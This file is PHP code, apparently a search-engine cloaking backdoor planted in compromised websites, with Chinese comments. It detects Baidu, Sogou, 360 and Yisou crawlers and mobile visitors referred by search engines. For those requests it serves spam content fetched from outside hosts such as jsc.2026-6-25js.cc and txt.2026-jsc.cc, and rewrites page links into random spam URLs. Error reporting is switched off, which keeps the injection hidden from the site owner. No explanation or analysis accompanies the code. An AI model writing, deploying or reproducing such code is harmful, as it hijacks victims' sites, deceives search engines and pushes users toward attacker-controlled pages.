set_time_limit(0); error_reporting(0); $protocol2 = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $host2 = $_SERVER['HTTP_HOST']; $fullUrl2 = $protocol2 . $host2; $url2 = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $tr2 = "stristr"; $er2 = $_SERVER; $a = "stristr"; $b = $_SERVER; /** * 生成随机数字 */ function generateRandomNumber() { $min = pow(10, 7); // 8位数的最小值 $max = pow(10, 10) - 1; // 10位数的最大值 return mt_rand($min, $max); } /** * 匹配链接格式 */ function matchLinkPattern($str) { $pattern = '/[A-Z]_\d{9,}/'; // 匹配一个大写字母加14位以上数字 return preg_match($pattern, $str); } /** * HTTP GET请求函数2 */ function httpGet32($url2) { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url2); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); return $output; } /** * HTTP GET请求函数3 */ function httpGet3($url2) { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); $ua2 = $_SERVER['HTTP_USER_AGENT']; curl_setopt($ch, CURLOPT_URL, $url2); curl_setopt($ch, CURLOPT_USERAGENT, $ua2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); return $output; } //$dir = "?moban26"; $dir=array("?moban26","?show2","?news2","?class","?advice","?home","?auto","?life","?sleep","?sports","?work",); /** * 生成随机字符串 */ function char($length = 5, $type = 0) { $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789"); if ($type == 0) { array_pop($arr); $string = implode("", $arr); } elseif ($type == "-1") { $string = implode("", $arr); } else { $string = $arr[$type]; } $count = strlen($string) - 1; $code = ''; for ($i = 0; $i < $length; $i++) { $code .= $string[rand(0, $count)]; } return $code; } $dir2 = get_url2() . '/moban26'; /** * 获取URL路径 */ function get_url2() { $url2 = $_SERVER['REQUEST_URI']; $url2 = preg_replace('~/+~', '/', $url2); // 去除多余的斜杠 // 分割路径 $parts = explode('/', trim($url2, '/')); // 如果是文件路径,保留前两级目录 if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', end($parts))) { // 文件路径,返回前两级目录 $url2 = '/' . $parts[0]; } else { // 不是文件路径,保留前两级目录 if (count($parts) > 2) { $url2 = '/' . $parts[0] . '/' . $parts[1]; } else { $url2 = '/' . implode('/', $parts); } } return $url2; } // 定义常量 define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|' . 'MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('url', $b['REQUEST_URI']); define('ent', $er2['HTTP_USER_AGENT']); define('site', "http://jsc.2026-6-25js.cc:82/"); define('site2', "http://jsc.sogousm1.cc:81/"); define('url8', $fullUrl2); // 正则表达式模式 $title = '/(.*?)<\/title>/i'; $meta = '/<meta charset=".*?>/i'; $key = '/<meta\s+name="keywords"\s+content="([^"]+)"\s*\/?>/i'; $miaoshu = '/<meta\s+name="description"\s+content="([^"]+)"\s*\/?>/i'; define('road', $_SERVER['REQUEST_URI']); define('regs', '@baiduspider@i'); define('regs2', '@yisou|Sogou|360@i'); // 定义区域判断条件 $area_conditions = array( "wen", "xml", "doc", "pdf", "class", "asp", "pptx", "xls", "id", "template", "moban", "gov", "du", "k", "gq", "ys", "ku", "tacc", "work", "csv", "sports", "sleep", "life", "dy","html1", "news2", "show2", "advice", "and", "shtml", "home", "tips", "auto", "zkblw", "keyan", "zhuli", "xinwen1", "news1", "show1" ); $area_flag = false; foreach ($area_conditions as $condition) { if (stristr(url, $condition)) { $area_flag = true; break; } } define('area', $area_flag); define('area2', stristr(url, "/")); // 主逻辑开始 if (preg_match(regs, ent)) { if (area) { echo '<link rel="canonical" href="' . $url2 . '" />'; echo '<!-184-kwm-04-13-bd-sg-->'; $html2 = httpGet32(url8); $html = httpGet3(site . road); // 移除HTML标签 $html2 = str_replace('</h1>', '', $html2); $html2 = str_replace('<h1>', '', $html2); $html2 = preg_replace($meta, '', $html2); $html2 = preg_replace($miaoshu, '', $html2); $html2 = preg_replace($key, '', $html2); $html2 = preg_replace($title, '', $html2); $html2 = str_replace('</head>', '', $html2); $html2 = str_replace('<head>', '', $html2); $html2 = preg_replace('/<html>/i', '', $html2); $html2 = preg_replace('/body class=.*?>/i', '', $html2); $html2 = preg_replace('/<body>/i', '', $html2); $html = $html . $html2; // 处理链接 $lianjie = '/<a .*?>[\s\S]*?<\/a>/'; preg_match_all($lianjie, $html, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"'; $ahtml = preg_replace($preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } else { header('Content-Type:text/html;charset=utf-8'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $fullUrl2); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); $output = str_replace([ '<body>', '</body>', '<html>', '</html>' ], '', $output); $lianjie = '/<a .*?>[\s\S]*?<\/a>/'; preg_match_all($lianjie, $output, $aarray5); if ($aarray5[0]) { $count = 0; foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; if ($count < 5) { $randomUrl = httpGet3('http://hei.2026-6-25js.cc:82'); $randomUrl = str_replace('<!--', '', $randomUrl); $randomUrl = str_replace('-->', '', $randomUrl); if ($randomUrl !== false && $randomUrl !== '') { $replacestr = 'href="' . trim($randomUrl) . generateRandomNumber() . '.html"'; $count++; } else { $replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"'; } } else { $replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"'; } $aoutput = preg_replace($preg, $replacestr, $pbti); $output = str_replace($pbti, $aoutput, $output); } } echo $output; exit(); } } // 其他条件判断 if (area && preg_match("/.*(baidu).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/', $_SERVER['HTTP_USER_AGENT'])) { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502-no-pd.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); } if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") { echo '<link rel="canonical" href="' . $url2 . '" />'; echo '<!-122-kw-04-13--sg-->'; echo httpGet3(site2 . road); exit(); } elseif (preg_match(regs2, ent)) { $html = httpGet32(url8 . url); $html = str_replace('</h1>', '', $html); $html = str_replace('<h1>', '', $html); $lianjie = '/<a .*?>[\s\S]*?<\/a>/'; preg_match_all($lianjie, $html, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="' .$dir[array_rand($dir)]. "/" . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"'; $ahtml = preg_replace($preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502-sogousm-pd.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_exec($ch); curl_close($ch); exit(); }